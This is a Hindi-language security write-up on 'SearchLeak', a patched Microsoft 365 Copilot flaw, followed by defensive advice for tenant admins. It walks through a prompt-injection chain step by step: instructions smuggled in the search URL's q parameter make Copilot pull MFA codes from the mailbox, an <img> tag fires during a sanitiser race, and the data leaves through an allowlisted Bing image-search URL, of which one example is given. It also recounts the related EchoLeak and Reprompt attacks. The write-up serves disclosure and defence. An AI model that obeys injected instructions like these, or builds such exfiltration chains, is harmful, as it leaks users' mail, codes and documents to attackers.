SearchLeak: कैसे एक Microsoft लिंक पर सिर्फ एक क्लिक आपका पूरा मेलबॉक्स खाली कर सकता था

SearchLeak क्यों मायने रखता है

SearchLeak कोई एक बड़ी बग नहीं थी। यह तीन छोटी कमजोरियों की एक श्रृंखला थी, जिनमें से प्रत्येक का क्रम से सावधानीपूर्वक फायदा उठाया गया। अकेले, इनमें से कोई भी संकट नहीं बनती। लेकिन साथ में, इन्होंने एक ऐसी खामोश वन-क्लिक डेटा-चोरी पाइपलाइन बना दी जो साइन-इन यूजर की Microsoft Graph के जरिए पहुंच वाली किसी भी चीज तक पहुंच सकती थी: ईमेल, कैलेंडर इनवाइट, मीटिंग नोट्स, SharePoint डॉक्यूमेंट और OneDrive फाइलें ।

सबसे अहम बात यह है कि इसने उस पैटर्न को रेखांकित किया जिसके बारे में सुरक्षा शोधकर्ता पहले से चेतावनी दे रहे थे। जनवरी 2026 में, Varonis की उसी लैब ने Reprompt का खुलासा किया था, जो कंज्यूमर-फेसिंग Copilot Personal के खिलाफ लगभग एक जैसा वन-क्लिक हमला था । इससे भी पहले, जून 2025 में, Aim Security ने EchoLeak का खुलासा किया था, एक जीरो-क्लिक भेद्यता जिसने एक दुर्भावनापूर्ण दस्तावेज़ में एम्बेडेड प्रॉम्प्ट इंजेक्शन को हथियार बना लिया था । SearchLeak के आने ने दिखा दिया कि एंटरप्राइज-ग्रेड के गार्डरेल्स ने अंतर्निहित जोखिम वर्ग को खत्म नहीं किया था—उन्होंने सिर्फ हमलावरों के लिए रचनात्मक होने की सीमा बढ़ा दी थी।

तीन बग की चेन

SearchLeak श्रृंखला की हर कड़ी अपने आप में शिक्षाप्रद है, लेकिन उनके संयुक्त प्रभाव ने ही हमले को इतना शक्तिशाली बनाया।

स्टेज 1: पैरामीटर-टू-प्रॉम्प्ट इंजेक्शन

Copilot एंटरप्राइज सर्च एक URL पैरामीटर—q—को स्वीकार करता है जिसमें यूजर की नेचुरल-लैंग्वेज क्वेरी होती है। Varonis के शोधकर्ताओं ने पाया कि यह पैरामीटर सिर्फ एक सर्च वाक्यांश ही नहीं लेता था; यह मनमाने प्रॉम्प्ट निर्देशों को भी स्वीकार कर लेता था ।

एक हमलावर ऐसा URL तैयार कर सकता था, जो किसी प्रमाणित उपयोगकर्ता द्वारा लोड किए जाने पर, Copilot को लिंक पर दिखने वाले काम से बिल्कुल अलग कुछ करने का निर्देश देता था। उदाहरण के लिए, एक लिंक AI को पीड़ित के मेलबॉक्स में वन-टाइम MFA कोड खोजने, उस कोड को एक इमेज URL में एम्बेड करने और उसे रिस्पॉन्स में जोड़ने का निर्देश दे सकता था। पीड़ित को एक Microsoft-ब्रांडेड सर्च पेज दिखता था। Copilot चुपचाप इंजेक्टेड प्रॉम्प्ट का पालन करता था ।

यह तकनीक, जिसे Varonis पैरामीटर-टू-प्रॉम्प्ट (P2P) इंजेक्शन कहता है, वही तंत्र था जो पहले Copilot Personal के खिलाफ Reprompt हमले के केंद्र में था ।

स्टेज 2: एक रेस कंडीशन जो सैनिटाइजेशन को बायपास करती है

जब Copilot HTML मार्कअप (जैसे <img> टैग) वाला आउटपुट जनरेट करता है, तो एक सर्वर-साइड सैनिटाइज़र को आउटपुट को कोड ब्लॉक में लपेटना चाहिए ताकि ब्राउज़र इसे हानिरहित सादा टेक्स्ट माने। समस्या? यह रैपिंग कंटेंट पूरी तरह से जनरेट होने के बाद ही होती है ।

हालाँकि, ब्राउज़र स्ट्रीमिंग के दौरान ही रिस्पॉन्स को रेंडर करना शुरू कर देता है। इसलिए एक हमलावर का इंजेक्टेड <img> टैग स्ट्रीम में आते ही अपना रिक्वेस्ट फायर कर देता है—सैनिटाइज़र के चलने से पहले ही। जब तक कोड ब्लॉक दिखाई देता है, इमेज URL पहले ही रिक्वेस्ट किया जा चुका होता है, और उसके पाथ में एन्कोडेड डेटा पीड़ित के ब्राउज़र को पहले ही छोड़ चुका होता है ।

यह एक क्लासिक रेस कंडीशन है जो AI-जनरेटेड कंटेंट के संदर्भ में घातक बन गई। एक पुराना रक्षा तंत्र उस दुनिया के लिए फिर से डिज़ाइन नहीं किया गया था जहाँ AI आउटपुट खुद हमलावर द्वारा नियंत्रित हो।

स्टेज 3: CSP-अलाउलिस्टेड Bing एंडपॉइंट के जरिए डेटा चोरी

पिछले दो चरणों के स्थापित होने के बाद भी, एक आखिरी रुकावट मौजूद थी: m365.cloud.microsoft डोमेन पर कंटेंट सिक्योरिटी पॉलिसी (CSP) मनमाने बाहरी सर्वरों से इमेज को ब्लॉक करती है। हालाँकि, *.bing.com अलाउलिस्ट में है ।

Bing का "Search by Image" एंडपॉइंट एक URL को सर्वर-साइड फेच करने की अनुमति देता है। SearchLeak एक्सप्लॉइट में, हमलावर ने चुराए गए डेटा को इमेज सर्च पाथ के हिस्से के रूप में जोड़ दिया (जैसे,

https://www.bing.com/images/search?q=/Your_Security_Code_847291/img.png

हमलावर ने बस अपने खुद के इमेज एंडपॉइंट के लॉग्स पर नजर रखी, जिसे Bing के सर्वर को हिट करने के लिए बरगलाया गया था।

एक सिंगल क्लिक की भ्रामक सादगी

पूरी चेन अपने आप निष्पादित होती थी। पीड़ित ने एक लिंक पर क्लिक किया। Copilot ने उनके अपने डेटा में खोज की। आउटपुट ब्राउज़र में स्ट्रीम हुआ। एक <img> टैग फायर हुआ। Bing के सर्वर ने हमलावर के URL को फेच किया। डेटा चोरी हो गया। यह सब पीड़ित के ब्राउज़र द्वारा पेज को रेंडर करने से पहले ही हो गया।

हमले का पता लगाना मुश्किल था क्योंकि:

• URL एक भरोसेमंद Microsoft डोमेन पर था, जो URL स्कैनर और रेपुटेशन चेक से बच जाता था ।
• कोई प्रमाणीकरण डायलॉग या दूसरा क्लिक ट्रिगर नहीं हुआ—पीड़ित के मौजूदा सेशन का इस्तेमाल किया गया।
• सभी आउटबाउंड रिक्वेस्ट अलाउलिस्टेड Microsoft इंफ्रास्ट्रक्चर पर गईं।

जो डेटा चुराया जा सकता था वह सैद्धांतिक नहीं था। शोधकर्ताओं ने वन-टाइम MFA कोड और पासवर्ड-रीसेट लिंक को उजागर किया जो मिनटों तक वैध रहते हैं, साथ ही कैलेंडर डिटेल और Copilot द्वारा इंडेक्स किए गए संवेदनशील दस्तावेज़ ।

गंभीरता की पहेली: क्रिटिकल, लेकिन स्कोर क्या?

CVE-2026-42824 ने गंभीरता रेटिंग पर एक संक्षिप्त बहस छेड़ दी। Microsoft ने भेद्यता को अपना सर्वोच्च आंतरिक गंभीरता लेबल—क्रिटिकल—दिया, लेकिन 6.5 (मीडियम) का CVSS v3.1 बेस स्कोर जारी किया। तर्क: हमले के लिए यूजर इंटरेक्शन (सिंगल क्लिक) की आवश्यकता थी, जिसने स्कोर कम कर दिया ।

कुछ स्रोतों ने नेशनल वल्नरेबिलिटी डेटाबेस (NVD) से 7.5 (हाई) स्कोर की सूचना दी । हालाँकि, व्यवहार में, TNW के विश्लेषण सहित कई समीक्षाओं ने नोट किया कि Microsoft CSAF रिकॉर्ड और NVD एंट्री दोनों ने एक समान 6.5 वेक्टर को दर्शाया । उच्च स्कोर की धारणा स्वतंत्र विश्लेषकों द्वारा व्यापक प्रभाव मान्यताओं के तहत गणना करने या शुरुआती रिपोर्टिंग को दोहराने से आई हो सकती है।

संख्या के बावजूद, आम सहमति स्पष्ट थी: एक क्लिक किसी संगठन के सबसे संवेदनशील डेटा को उजागर कर सकता था।

Copilot भेद्यताओं की वंशावली

SearchLeak अकेले प्रकट नहीं हुआ। यह AI-डेटा चोरी की दो अन्य ऐतिहासिक खोजों में शामिल हुआ:

• EchoLeak (CVE-2025-32711) — जून 2025। Aim Security की एक जीरो-क्लिक भेद्यता जिसने एक दस्तावेज़ में एम्बेडेड प्रॉम्प्ट इंजेक्शन का इस्तेमाल किया जिसे Copilot ने स्वचालित रूप से प्रोसेस किया। बिल्कुल भी यूजर इंटरेक्शन की आवश्यकता नहीं थी। CVSS 9.3 ।
• Reprompt — जनवरी 2026। Varonis ने दिखाया कि कंज्यूमर-ग्रेड Copilot Personal को उसी P2P इंजेक्शन तकनीक से हाईजैक किया जा सकता है। कोई मैलवेयर नहीं, कोई प्लगइन नहीं, बस एक तैयार किया गया URL ।

इन सबमें जो सामान्य सूत्र है वह है प्रॉम्प्ट इंजेक्शन, एक ऐसा खतरा जो AI की मुख्य क्षमता—निर्देशों का पालन करना—को हमले की सतह में बदल देता है। प्रत्येक बाद की भेद्यता ने दिखाया है कि एक सतह (कंज्यूमर बनाम एंटरप्राइज) को पैच करना या गार्डरेल्स जोड़ना (डॉक्यूमेंट प्रोसेसिंग बनाम सर्च क्वेरीज) इस वर्ग को खत्म नहीं करता; यह केवल हमलावर की रचनात्मकता को पुनर्निर्देशित करता है ।

टेनेंट एडमिन को अब क्या करना चाहिए

SearchLeak खुद पैच हो चुका है और इसके लिए किसी ग्राहक कार्रवाई की आवश्यकता नहीं है। लेकिन तकनीक खत्म नहीं होने वाली है, और सुरक्षा टीमों को सबक को अमल में लाना चाहिए।

Copilot सर्च URL पर नजर रखें। q पैरामीटर अभी भी खुला हुआ है। अपने प्रॉक्सी लॉग से गुजरने वाले Copilot एंटरप्राइज सर्च URL में एन्कोडेड HTML, स्क्रिप्ट-जैसे पेलोड, या संदिग्ध रूप से लंबे निर्देश स्ट्रिंग की तलाश करें ।

Bing इमेज एंडपॉइंट्स पर असामान्य आउटबाउंड रिक्वेस्ट पर नजर रखें। कोई यूजर अचानक से असामान्य इमेज सर्च पाथ के साथ *.bing.com पर कई रिक्वेस्ट जनरेट कर रहा है—विशेष रूप से ऐसे पैटर्न जो एन्कोडेड या चुराए गए डेटा से मिलते-जुलते हैं—तो अलार्म बजना चाहिए ।

Copilot की इंडेक्स्ड सतह को सीमित करें। न्यूनतम-विशेषाधिकार डेटा गवर्नेंस का अभ्यास करें। यह सीमित करें कि Copilot किन SharePoint साइटों, OneDrive फोल्डरों और मेलबॉक्सों को इंडेक्स कर सकता है ताकि भविष्य की कोई भेद्यता यूजर की पहुंच की हर चीज की चोरी के बराबर न बन जाए। नियमित रूप से Copilot की Microsoft Graph अनुमतियों का ऑडिट करें और उन्हें कम करें ।

SearchLeak का खुलासा किसी एक पैच की कहानी नहीं थी, बल्कि प्रॉम्प्ट इंजेक्शन और क्लासिक वेब कमजोरियों के विकसित होते अंतर्संबंध के बारे में एक चेतावनी थी। जैसे-जैसे संगठन अपने डेटा तक गहरी पहुंच वाले AI कोपायलट को अपनाते हैं, AI आउटपुट को भरोसेमंद कंटेंट मानने वाले सुरक्षा मॉडलों पर पुनर्विचार किया जाना चाहिए। अगली चेन उन्हीं तीन बग का इस्तेमाल नहीं करेगी—लेकिन यह लगभग निश्चित रूप से उसी पैटर्न का पुन: उपयोग करेगी।